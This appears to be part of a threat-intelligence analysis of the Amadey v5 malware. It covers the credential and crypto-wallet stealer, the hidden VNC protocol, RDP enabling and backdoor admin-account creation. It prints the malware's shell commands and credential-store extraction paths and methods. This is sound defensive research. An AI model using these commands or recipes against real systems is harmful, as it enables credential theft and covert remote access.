This module operates independently from the main botnet protocol, utilizing the same C2 infrastructure as the main module. It is designed to harvest two distinct categories of data: text-based credentials (from browsers, FTP clients, and email software) and file-based assets (cryptocurrency wallets, Telegram sessions, and desktop documents).
3.12.1 Operational Architecture & Control Flags
The module’s execution path is determined by two internal configuration flags, distinguishing between simple text exfiltration and complex file archiving operations.
-
Execution: Launched via
rundll32.exe cred.dll,[export]. -
Transport: HTTP POST (unencrypted) to hardcoded C2 servers.
-
Redundancy: Performs three consecutive POST attempts to ensure delivery.
-
Victim Identity: Uses the same 12-digit unit ID derived from the Windows SID as the core bot.
Exfiltration Mode Flags
The module reads two internal flags to determine how to package and send data:
-
Flag 1 (Files): Controls the handling of ZIP archives.
-
'0': C2 Upload Mode. Wraps ZIPs in CAB files and uploads them. -
'1': Local Backup Mode. Copies ZIPs to the current directory and skips CAB wrapping.
-
-
Flag 2 (Credentials): Controls text-based credential transmission.
-
'0': Broken Mode. Credentials are collected into memory buffers but never exfiltrated. -
'1': Active Mode. Credentials are formatted and sent via HTTP POST.
-
3.12.2 Universal Exfiltration Format (Text Credentials)
Text-based credentials are aggregated into a single global buffer and exfiltrated using a custom pipe-delimited format. The module targets over 20 specific applications, including Chromium browsers, Firefox, Outlook, and FileZilla.
-
Structure:
{type}|{client}|{field1}|{field2}|{field3}::: -
Terminator:
:::is used to separate multiple records. -
POST Body:
id={unitID}&cred={concatenated_records}
For a comprehensive enumeration of all targeted applications, their specific data sources (Registry vs. SQLite), and extraction methods, please refer to Section 5.1 in the Appendix.
3.12.3 Cryptocurrency Wallet & File Exfiltration (File-Based)
For complex assets like cryptocurrency wallets and Telegram sessions, the module employs a sophisticated staging and archiving routine. The module targets 7 distinct wallet types (including Electrum, Monero, and Exodus) and Telegram session data.
Selective CAB Wrapping
Crucially, the CAB wrapping mechanism (triggered by Flag 1) is applied selectively based on the asset type. It does not apply to all files:
-
Electrum, Telegram, and Monero: These are Zipped, then wrapped in a
.cabfile before upload (if Flag 1 is'0'). -
Other Wallets: (Exodus, Armory, Atomic, Litecoin, DashCore) are uploaded directly as
.zipfiles. They are never wrapped in a CAB, even in C2 Upload Mode.
Process Termination
To ensure successful theft, the malware attempts to terminate relevant processes (e.g., taskkill /IM Electrum.exe /F or taskkill /IM Telegram.exe /F) to unlock database files before copying them.
For the complete list of target paths, process names, and specific subdirectories stolen for each wallet, please refer to the Section 5.2 in the Appendix.
3.12.4 Desktop File Collection
In addition to specific applications, the module performs a targeted sweep of the victim’s Desktop for interesting documents.
-
Targets: Files with extensions
.txt,.doc,.docx,.xls,.xlsx. -
Constraints:
-
Maximum file size: 200KB.
-
Maximum file count: 20 files.
-
-
Staging: Copies files to
%TEMP%\_Files_\before archiving. -
Archive Name:
{unitID}_Desktop.zip. -
Exfiltration Exception: Unlike some of the wallet archive types, the Desktop ZIP is never wrapped in a CAB file. It is uploaded directly as a raw ZIP stream.
3.12.4.1 Archive Format Methods
The module uses two distinct compression methods depending on the Exfiltration Mode Flag.
Method 1: PowerShell ZIP Compression
Used for standard archiving of wallets and desktop files.
powershell -Command Compress-Archive -Path '{source_path}' -DestinationPath '{dest_path}' -CompressionLevel Optimal
Method 2: Cabinet (CAB) File Compression
Used exclusively when Flag 1 is set to '0' (C2 Upload Mode). The malware generates a directive file in %TEMP%\_tmp_\ and executes makecab.
makecab /F {directive_file_path}
CAB Directive File Content
.Set CabinetNameTemplate={archive_name}_*.cab;
.Set MaxDiskSize=1500000;
.Set ClusterSize=1000;
.Set Cabinet=on;
.Set Compress=off;
.Set CompressionType=LZX;
.Set CompressionMemory=21
.Set DiskDirectoryTemplate="{staging_path}";
"{source_file}";
3.12.4.2 Archive Naming Conventions
All archives are prefixed with the victim’s Unit ID to ensure attribution on the C2 side.
-
Standard ZIP:
{unitID}_{BaseName}.zip -
CAB Wrapped:
{unitID}_{BaseName}.zip_1.cab
Special Case: Electrum Wallet Format Detection The module performs a specific check on Electrum wallets to distinguish between modern JSON wallets and legacy formats, modifying the archive name accordingly.
-
Check: Reads the first byte of the wallet file.
-
Marker
+: Inserted if the first byte is “{“ (JSON format). -
Marker
-: Inserted if the file is <10KB and not JSON. -
Resulting Name:
{unitID}{marker}_Electrum({counter}).zip_1.cab
3.12.5 Advanced Discovery Mechanisms
While most assets are located via simple path checks, the module implements a multi-layered discovery strategy for high-value targets. This ensures the malware finds the application even if it is installed in a non-standard location or if the user is running a portable version. The module utilizes four distinct techniques:
-
Direct Path Check: Verifies the existence of standard installation directories (e.g.,
%APPDATA%\Electrum\wallets) usingGetFileAttributesA. -
MuiCache Registry Forensics: Scans the registry for traces of executed binaries. The malware inspects the
MuiCache, which stores the names of applications that have been run on the system. It queries two distinct hives to maximize coverage:-
HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache -
HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
-
-
AppSwitched Registry Check: Queries the Windows 10/11 usage tracking keys to identify applications the user has recently actively switched to.
- Key:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage\AppSwitched
- Key:
-
Live Process Enumeration: Scans currently running processes to locate active instances of the target application.
-
Method:
CreateToolhelp32Snapshot→Process32FirstW→Process32NextW. -
Action: Uses
K32GetModuleFileNameExWto resolve the full installation path of the running executable.
-
3.13 String Decryption Algorithm
The malware utilizes a custom string obfuscation routine for two primary purposes: protecting sensitive internal strings (such as C2 URLs, registry keys, and shell commands) and obfuscating the configuration command-line argument passed to the VNC module.
The decryption process consists of two sequential operations:
-
Modified Vigenère Decryption
-
Base64 Decoding
3.13.1 Generic Decryption Logic
The first stage implements a polyalphabetic substitution cipher that operates on a specific custom alphabet.
Parameters
- Alphabet (Σ):
a-zA-Z0-9␣ - Alphabet Length (N): 63
Decryption Formula
Let I(c) be the zero-based index of a character c in alphabet Σ. Let C_i be the i-th character of the ciphertext. Let K_(i mod len(K)) be the corresponding character of the decryption key.
The decryption function calculates the plaintext character index I(P_i) as follows:
I(P_i) = (I(C_i) + N - I(K_(i mod len(K))) ( mod N )
The resulting character P_i is mapped back from Σ. After this transformation is applied to the entire string, the result is Base64 decoded to reveal the final plaintext.
3.13.2 VNC Configuration Anomaly
While the internal strings employ valid keys composed of characters from Σ, the analyzed VNC modules utilize the hardcoded key ---. This specific key selection triggers an implementation bug in the decryption routine.
The Implementation Flaw
The character - (hyphen) does not exist in the custom alphabet Σ. When the malware attempts to retrieve the index of the key character, the lookup function returns -1.
Substituting I(K_i) = −1 and N=63 into the generic formula:
I(P_i) = (I(C_i) + 63 - (-1)) ( mod 63 )
I(P_i) = (I(C_i) + 1) ( mod 63 )
Conclusion
Due to the use of a key character outside the defined alphabet, the intended polyalphabetic cipher degrades into a simple monoalphabetic Caesar Cipher with a static shift of +1 relative to the custom alphabet indices.
3.14 VNC Module (Command 23) Implementation & Protocol
3.14.1 Overview
The VNC module is a standalone executable heavily based on the open-source TinyNuke (HiddenDesktop) codebase. While it shares the core logic for hidden desktop management and input injection with TinyNuke, the startup wrapper and command set have been modified by the Amadey operators.
Operational Summary
-
Execution: The module is executed with the encrypted C2 address as a command-line argument.
-
Desktop Creation: It creates a new, invisible Windows Desktop. The desktop name is generated using a specific format string derived from the volume serial number.
-
Connection: It establishes two concurrent, raw TCP connections to the C2 server on port 777.
3.14.2 Threading Model
The module spawns two primary worker threads, each responsible for a distinct aspect of the VNC session.
-
Screen Capture Thread: Captures the visual state of the hidden desktop, compresses it, and streams it to the C2.
-
Input/Command Thread: Receives mouse and keyboard events from the C2 and injects them into the hidden desktop. It also handles process execution commands (e.g., starting browsers).
3.14.3 Protocol Flow
For a visual representation of the handshake and concurrent thread operations described below, please refer to the sequence diagram in Figure 3.
3.14.3.1 Handshake (Both Threads)
Every connection to the VNC C2 server begins with a synchronized handshake to identify the protocol and the thread type.
-
Client → Server: Sends a “Magic” header string:
hVNC_Rules(11 bytes, including null terminator). -
Client → Server: Sends the Thread Type Identifier (4 bytes, Little-Endian integer).
-
0: Identifies the connection as the Screen Capture Thread. -
1: Identifies the connection as the Input/Command Thread.
-
3.14.3.2 Screen Capture Protocol (Type 0)
This thread enters an infinite loop to stream the hidden desktop visuals. To minimize bandwidth, it utilizes Delta Compression followed by LZNT1 Compression.
Cycle:
-
Server → Client: Sends the requested Screen Width and Height (4 bytes each).
-
Client Processing:
-
Capture: Captures the desktop using standard Windows GDI APIs (
PrintWindow). -
Delta Comparison: The client compares the current frame’s pixels against the previous frame’s pixels.
-
Chroma Keying: Any pixel that has not changed is replaced with a specific “transparency” color: Pink (
RGB(255, 174, 201)). -
Compression: The resulting buffer (containing new pixels and pink placeholders) is compressed using the
RtlCompressBufferAPI with the LZNT1 compression engine.
-
-
Client → Server:
-
If no pixels changed: Sends integer
0. -
If changes detected:
-
Sends integer
1(Change Flag). -
Sends 4 integers defining the screen bounds (Left, Top, Right, Bottom).
-
Sends 2 integers defining the bitmap dimensions (Width, Height).
-
Sends 1 integer: Compressed Payload Size.
-
Sends the Compressed Data Buffer.
-
-
3.14.3.3 Input & Command Protocol (Type 1)
This thread polls the C2 for fixed-size command structures.
- Packet Structure: The client continuously reads 12 bytes from the socket, interpreted as three 4-byte integers.
Command Interpretation:
-
Standard Windows Messages: Codes corresponding to Windows events (e.g.,
WM_MOUSEMOVE[0x200],WM_KEYDOWN[0x100]). These are interpreted as input events. The module posts these messages directly to the window handle under the cursor in the hidden desktop. -
Custom Control Commands: Specific high-value IDs (starting at
0x400) trigger internal functions to manage the environment (e.g., starting browsers, restarting explorer).
Custom Command Reference: The operator has extended the original TinyNuke command set to support modern browsers and system tasks.
| Command ID | Action | Implementation Details |
|---|---|---|
0x401 |
Restart Explorer | Restarts explorer.exe within the hidden desktop context to initialize the Start Menu and Taskbar. Sets TaskbarGlomLevel to 2. |
0x402 |
Open Run | Executes rundll32.exe shell32.dll,#61 to open the Windows Run dialog. |
0x403 |
Start Chrome | Clones the user’s Chrome profile to a temporary directory and launches Chrome with flags to disable sandboxing and GPU acceleration (--no-sandbox --disable-gpu). |
0x404 |
Start Edge | Launches Microsoft Edge (msedge.exe) with anti-sandbox flags. |
0x405 |
Start Brave | Launches the Brave browser (brave.exe) with anti-sandbox flags. |
0x406 |
Start Firefox | Parses the Firefox profiles.ini, clones the profile, and launches Firefox. |
0x407 |
Start IE | Launches Internet Explorer (iexplore.exe). |
0x408 |
Start PowerShell | Launches PowerShell with specific arguments to adjust the console window buffer size. |
3.14.4 Hidden Desktop Registry Modifications
To ensure the Start Menu and Taskbar load correctly within the hidden desktop environment, the module modifies the host registry:
-
Key:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced -
Value: Sets
TaskbarGlomLevelto2. -
Effect: Disables taskbar grouping, which prevents the
explorer.exeinstance inside the hidden desktop from conflicting with the user’s visible desktop interface.
3.14.5 C2 Validation via Recompilation
To confirm our understanding of the protocol and the capability of the module, we located the leaked C++ source code [3] for the TinyNuke C2 server. We modified the source to listen on the port expected by the Amadey sample (TCP 777), updated the handshake verification logic to accept the hVNC_Rules magic string, and recompiled the server application.
Upon executing the Amadey VNC module in a controlled environment, it successfully connected to our recompiled C2. We were able to:
-
Complete the handshake using the
hVNC_Rulesverification. -
Receive the compressed video stream from the bot.
-
Inject mouse and keyboard events back to the victim.
The screenshots below demonstrate the successful interception of the VNC session using the modified TinyNuke server:
3.15 Enable RDP (Command 24)
Command 24 instructs the bot to enable the Remote Desktop Protocol (RDP) on the victim machine to facilitate hands-on keyboard access. The implementation combines direct registry manipulation via Windows APIs with shell command execution to ensure the service is active, accessible, and persistent across reboots.
Execution Steps
The handler for this command performs four distinct actions in sequence to fully expose the service:
-
Registry Modification (Direct API): Instead of using a shell command, the malware uses
RegOpenKeyExAandRegSetValueExAto directly modify the system configuration.-
Key:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server -
Value:
fDenyTSConnections -
Data:
0(This disables the “Deny” flag, effectively enabling RDP).
-
-
Firewall Configuration: Executes
netshto allow RDP traffic through the Windows Defender Firewall.netsh advfirewall firewall set rule group="Remote Desktop" new enable=Yes -
Service Configuration: Configures the Terminal Services (
termservice) service to start automatically.sc config termservice start= auto -
Service Startup: Immediately forces the service to start without waiting for a reboot.
net start termservice
64-bit Compatibility Mechanism
The process execution helper function used by the RDP command handler function explicitly calls Wow64DisableWow64FsRedirection before spawning child processes. This ensures that the native 64-bit versions of system utilities (like netsh.exe and sc.exe) are executed, preventing potential compatibility issues caused by filesystem redirection.
This mechanism is essential because the vast majority of observed Amadey samples are 32-bit executables (native 64-bit variants were only identified in version 5.70 and later).
3.16 Administrative User Creation (Command 25)
Starting with version 5.70, Amadey implements a native capability to create a backdoor administrative account on the victim machine.
-
Payload Parsing: The bot receives a string in the format
Username@Password. It splits this string using the@delimiter. -
Execution Chain: The malware executes a sequence of shell commands to create the user, elevate privileges, and ensure the password does not expire or require changing.
Executed Commands
-
net user "Username" "Password" /add /y -
net localgroup "Administrators" "Username" /add -
WMIC USERACCOUNT WHERE "Name = 'Username'" SET PasswordExpires=FALSE -
WMIC USERACCOUNT WHERE "Name = 'Username'" SET Passwordchangeable=FALSE
3.17 Archive Extraction (Command 26)
Version 5.70 introduces a native “Download and Unzip” capability, likely to support the deployment of multi-file payloads (such as miners or complex stealers) without needing a separate dropper script.
-
Payload Structure:
URL -
The command respects the general Target Directory ID parameter to determine where to extract the contents.
Execution Flow
-
The bot downloads the file from the provided URL and saves it with a
.zipextension. -
It uses PowerShell to extract the contents.
PowerShell Execution
powershell -Command Expand-Archive -Path '{downloaded_file}.zip' -DestinationPath '{target_directory}'
4 MITRE ATT&CK Mapping
The following table maps the observed behaviors of Amadey Version 5 and its plugins to the MITRE ATT&CK framework v14. Each procedure is linked to the detailed technical analysis earlier in this report.
| Tactic | Technique | Procedure / Context | Ref. |
|---|---|---|---|
| Execution | T1059.001 PowerShell | Cred. Stealer uses Compress-Archive (ZIP); Cmd 26 uses Expand-Archive; VNC module launches PowerShell with custom buffer sizing. |
Section 3.12 Section 3.17 Section 3.14.3.3 |
| T1059.003 Cmd Shell | Core bot uses cmd.exe /k for payloads; Uninstall routine uses chained shell commands; Wifi stealer uses netsh via shell. |
Section 3.5.6 Section 3.8 Section 5.1 |
|
| T1047 WMI | Command 25 uses WMIC to set PasswordExpires=FALSE and Passwordchangeable=FALSE on the created admin account. |
Section 3.16 | |
| T1218.011 Rundll32 | Uses rundll32.exe to execute the Credential Stealer and Clipper plugins (DLLs) and to invoke shell32.dll commands in VNC. |
Section 3.12 Section 3.14.3.3 |
|
| T1106 Native API | Heavy reliance on Win32 APIs (e.g., ShellExecute, GetComputerNameExW, CreateToolhelp32Snapshot, PrintWindow). Uses Wow64DisableWow64FsRedirection to bypass 32-bit subsystem limitations when modifying system configurations. |
Section 1 Section 3.14 Section 3.15 |
|
| T1204 User Execution | Requires initial user interaction (e.g., opening a lure) to execute the loader/dropper. | Section 1 | |
| Persistence | T1136.001 Local Account | Command 25 creates a new local admin user via net user /add and modifies expiration via WMIC. |
Section 3.16 |
| T1547.001 Reg. Run Keys | Creates registry Run keys for downloaded payloads prefixed with ! marker. |
Section 3.5.6.2 | |
| T1053.005 Scheduled Task | Creates aggressive “One-Minute” repetition tasks for core bot persistence using ITaskScheduler COM interface. | Section 3.9 | |
| T1547.001 RunOnce Key | Sets RunOnce registry key to trigger self-deletion of installation directories on next login. |
Section 3.8 | |
| T1543.003 Windows Service | Modifies the termservice (RDP) configuration via sc config to ensure it starts automatically. |
Section 3.15 | |
| Privilege Esc. | T1548.002 Bypass UAC | Commands 28 & 29 use the runas verb to force an elevation prompt during payload execution. |
Section 3.5.6 |
| T1078 Valid Accounts | Creation of the backdoor Admin account allows future login and control with elevated privileges. | Section 3.16 | |
| Defense Evasion | T1027 Obfuscated Files | Strings encrypted with custom RC4/Vigenère; payloads encrypted with +++ marker or 01--E header. |
Section 3.13 Section 3.5.4 Section 3.5.5 |
| T1036 Masquerading | Uses rundll32.exe to execute malicious modules; Self-update mimics original filename. |
Section 3.12 | |
| T1497.001 Sandbox Evasion | Checks HKCU\Keyboard Layout\Preload for CIS keyboard layouts; rejects tasks (e3) if found. |
Section 3.1.2 | |
| T1070.004 File Deletion | Command 19 triggers self-deletion via taskkill and del; Stealer deletes temp ZIPs after upload. |
Section 3.8 Section 3.10 |
|
| T1098 Account Manip. | Modifies new admin account to set PasswordExpires=FALSE and Passwordchangeable=FALSE. |
Section 3.16 | |
| T1112 Modify Registry | Directly modifies fDenyTSConnections to 0 using Windows APIs to enable RDP connections and Taskbar grouping (VNC) |
Section 3.14.4 Section 3.5.6 Section 3.15 |
|
| T1140 Deobfuscate | Decodes hex-encoded and RC4-encrypted payloads (+++) at runtime. |
Section 3.5.5 | |
| T1562.004 Mod. System Firewall | Uses netsh to enable the “Remote Desktop” group rule, allowing RDP traffic through the firewall. |
Section 3.15 | |
| Cred. Access | T1555.003 Creds from Browsers | Extracts credentials from Chrome (Local State key), Firefox (NSS3.dll), and 10+ Chromium variants. | Section 5.1 |
| T1552.001 Creds in Files | Targeted theft of 7 crypto wallets (Exodus, Monero, etc.), Telegram sessions, and FTP configs. | Section 5.2 | |
| T1555.004 Windows Creds | Exports WiFi profiles with cleartext passwords using netsh wlan export ... key=clear. |
Section 5.1 | |
| T1552.002 Registry | Extracts credentials from Outlook profiles and WinSCP sessions stored in the Registry. | Section 5.1 | |
| Discovery | T1012 Query Registry | Deep registry profiling (AV detection, MuiCache for app discovery, Outlook profiles, Keyboard layouts). | Section 3.12 Section 3.12.5 |
| T1057 Process Discovery | Enumerates running processes to locate cryptocurrency wallets and messaging apps (Quad-redundant check). | Section 3.12.5 | |
| T1083 File/Dir Discovery | Searches for specific wallet directories, Desktop files (.doc, .txt), and AppData paths. |
Section 3.12 Section 3.12.4 |
|
| T1016 Network Config | Collects DNS domain name using GetComputerNameExW. |
Section 3.3 | |
| T1033 System Owner | Collects current username using GetUserNameA. |
Section 3.3 | |
| T1082 System Info | Collects 12 data points (OS version, Bitness, PC Name) during Stage 2 registration (r= packet). |
Section 3.3 | |
| T1518.001 Security Soft. | Enumerates %ProgramData% to identify 13 distinct AV products (Defender, Kaspersky, etc.). |
Section 3.5.2 | |
| T1124 System Time | Implicitly uses system time to handle Sleep/Delay intervals received from C2. | Section 3.1.1 | |
| Collection | T1005 Data from Local | Collects local files from Desktop, credential stores, and wallet directories. | Section 3.12 Section 3.12.4 |
| T1113 Screen Capture | Command 20 captures screenshots to %TEMP%; VNC module streams desktop with Delta/LZNT1 compression. |
Section 3.10 Section 3.14.3.2 |
|
| T1115 Clipboard Data | Clip.dll module monitors clipboard for crypto addresses and swaps them with attacker wallets. |
Section 3.11 | |
| T1560.002 Archive via Utility | Uses Compress-Archive (PowerShell) and makecab to compress stolen data before exfiltration. |
Section 3.12.4.1 | |
| T1074 Data Staged | Stages screenshots and stolen files in %TEMP% (_Files_, _tmp_) prior to upload. |
Section 3.12.4 | |
| Command & Control | T1071.001 Web Protocols | Communication over HTTP POST; distinctive tag structure <c>...<d> and delimiters #. |
Section 3.1 |
| T1001 Data Obfuscation | Traffic is RC4 encrypted and Hex encoded to evade detection. | Section 3.3 | |
| T1090.001 Internal Proxy | Commands 15/16 spawn a Reverse TCP Proxy for pivoting into the victim network. | Section 3.6 | |
| T1571 Non-Standard Port | Proxy connects on port 111; VNC module connects on port 777. | Section 3.6.2 Section 3.14 |
|
| T1095 Non-App Layer | Uses raw TCP sockets for the proxy tunnel traffic and VNC stream. | Section 3.6 | |
| T1132.001 Std Encoding | Extensive use of Hex encoding for payloads and registration data. | Section 3.3 | |
| T1573 Encrypted Channel | C2 traffic is RC4 encrypted (contains bug degrading it to XOR). | Section 3.5.5 | |
| Exfiltration | T1041 C2 Channel | Triple-redundant exfiltration of wallet archives (CAB/ZIP) and credentials to C2 endpoints. | Section 3.12 |
| T1020 Automated Exfil | Automatically exfiltrates screenshots and credentials immediately upon collection. | Section 3.10 | |
| Impact | T1485 Data Destruction | Schedules RMDIR /s /q to delete installation directories upon removal. |
Section 3.8 |
| T1489 Service Stop | Terminates wallet processes (taskkill /f /im) to unlock files for theft. |
Section 3.12 | |
| T1021.001 Remote Services | Enables RDP (Command 24) and Hidden VNC (Command 23) for interactive control. | Section 3.5.6 Section 3.14 |
References
- [1] Microsoft Threat Intelligence, “Frequent freeloader part II: Russian actor Secret Blizzard using tools of other groups to attack Ukraine.” Accessed: Dec. 04, 2025. [Online]. Available: https://www.microsoft.com/en-us/security/blog/2024/12/11/frequent-freeloader-part-ii-russian-actor-secret-blizzard-using-tools-of-other-groups-to-attack-ukraine/
- [2] “Leaked Amadey v4 C2 Panel Source Code.” Accessed: Dec. 04, 2025. [Online]. Available: https://github.com/vxunderground/MalwareSourceCode/raw/refs/heads/main/Panel/Panel.Amadey.d.c.7z
- [3] “TinyNuke Trojan Source Code.” Accessed: Dec. 04, 2025. [Online]. Available: https://github.com/Sts0mrg0/TinyNuke
- [4] Darktrace, “Amadey Info Stealer and N-Day Vulnerabilities.” Accessed: Dec. 04, 2025. [Online]. Available: https://www.darktrace.com/blog/amadey-info-stealer-exploiting-n-day-vulnerabilities
- [5] KPMG International, “Weekly Cyber Threat Intelligence Report.” Accessed: Dec. 04, 2025. [Online]. Available: https://assets.kpmg.com/content/dam/kpmgsites/in/pdf/2023/03/amadey-23-mar-2023.pdf.coredownload.inline.pdf
- [6] BlackBerry, “SmokeLoader Malware Used to Augment Amadey Infostealer.” Accessed: Dec. 04, 2025. [Online]. Available: https://blogs.blackberry.com/en/2022/07/smokeloader-malware-used-to-augment-amadey-infostealer
- [7] ASEC, “LockBit 3.0 Being Distributed via Amadey Bot.” Accessed: Dec. 04, 2025. [Online]. Available: https://asec.ahnlab.com/en/41450
- [8] Matthieu Gras, “Amadey C2 Parser in Go.” Accessed: Dec. 04, 2025. [Online]. Available: https://github.com/matthieugras/goamadey_c2_parser
- [9] Kevin O'Reilly, “CAPEv2: Malware Configuration And Payload Extraction.” Accessed: Dec. 04, 2025. [Online]. Available: https://github.com/kevoreilly/CAPEv2
- [10] Matthieu Gras, “Amadey FakeNet Handlers.” Accessed: Dec. 04, 2025. [Online]. Available: https://github.com/matthieugras/amadey_fakenet_handlers
- [11] Mandiant FLARE, “FakeNet-NG: Network Simulation Tool.” Accessed: Dec. 04, 2025. [Online]. Available: https://github.com/mandiant/flare-fakenet-ng
- [12] The MITRE Corporation, “MITRE ATT&CK®.” Accessed: Dec. 04, 2025. [Online]. Available: https://attack.mitre.org/
5 Appendix
5.1 Master List of Targeted Applications and Credential Formats
| Type | Target Client | Extraction Source & Method | Exfiltration Format |
|---|---|---|---|
web |
Chromium Variants (Chrome, Edge, Opera, Vivaldi, Brave, etc.) |
DB: %LOCALAPPDATA%\{Browser}\User Data\Default\Login DataKey: Local State file.Method: SQL query SELECT origin_url, username_value, password_value FROM logins.Decryption: AES-GCM (v80+) or DPAPI (Legacy). |
web|{browser}|{url}|{user}|{pass}::: |
| Mozilla Firefox | DB: %APPDATA%\Mozilla\Firefox\Profiles\*\logins.jsonMethod: Loads NSS3.dll dynamically. Uses PK11SDR_Decrypt to decrypt base64 strings. |
web|Firefox|{url}|{user}|{pass}::: |
|
ftp |
FileZilla | Path: %APPDATA%\FileZilla\sitemanager.xmlMethod: XML parsing; extracts <Host>, <User>, and base64-decoded <Pass>. |
ftp|FileZilla|{host}:{port}|{user}|{pass}::: |
ssh |
WinSCP | Registry: HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\SessionsMethod: Enumerates subkeys to decrypt HostName, UserName, and Password. |
ssh|WinSCP|{host}|{user}|{pass}::: |
mail |
Outlook | Registry: HKCU\Software\Microsoft\Office, Windows Messaging Subsystem\ProfilesMethod: Enumerates profiles for Email, SMTP Server, and password values. |
mail|Outlook|{server}|{user}|{pass}::: |
| Thunderbird | Path: %APPDATA%\Thunderbird\Profiles\*\logins.jsonMethod: Same NSS3 decryption routine as Firefox. |
mail|Thunderbird|{server}|{user}|{pass}::: |
|
wifi |
Windows WiFi | Command: netsh wlan export profile name={name} key=clear folder=%TEMP%Method: Parses output XML for <keyMaterial> (plaintext password). |
wifi|WiFi||{ssid}|{pass}:::(Note empty field) |
im |
Pidgin | Path: %APPDATA%\.purple\accounts.xmlMethod: XML parsing. |
im|Pidgin|{server}|{user}|{pass}::: |
| Gajim | Path: %APPDATA%\Gajim\Settings.sqliteMethod: SQL extraction. |
im|Gajim|{user@server}|{pass}::: |
|
| Psi | Source: Windows Registry. | im|Psi|{jid}|{pass}::: |
5.2 Targeted Wallets and Discovery Methods
| Target | Target Path / Scope | Discovery & Detection | Archive Name |
|---|---|---|---|
| Exodus | %APPDATA%\Exodus\exodus.wallet\*(Subdirectory only) |
Direct path check. | {id}_Exodus.zip |
| Armory | %APPDATA%\Armory\*(Full directory) |
Direct path check. | {id}_Armory.zip |
| Atomic | %LOCALAPPDATA%\atomic\Local Storage\*(Subdirectory only) |
Direct path check. | {id}_Atomic.zip |
| Litecoin | %APPDATA%\Litecoin\wallets\* |
Direct path check. | {id}_Litecoin.zip |
| DashCore | %APPDATA%\DashCore\wallets\* |
Direct path check. | {id}_Dashcore.zip |
| Monero |
|
Triple-Redundant:
|
{id}_Monero({N}).zip_1.cab |
| Electrum | %APPDATA%\Electrum\wallets\* |
Quad-Redundant: Direct Path, Process Enum (Electrum.exe), MuiCache, AppSwitched.Format Check: Reads first byte for JSON ( +) vs Legacy (-). |
{id}{mark}_Electrum({N}).zip_1.cab |
| Telegram | %APPDATA%\Telegram Desktop\tdata\*(Copies key_datas, maps, configs) |
Triple-Redundant: Process Enum (Telegram.exe), MuiCache, AppSwitched. |
{id}_Telegram({N}).zip_1.cab |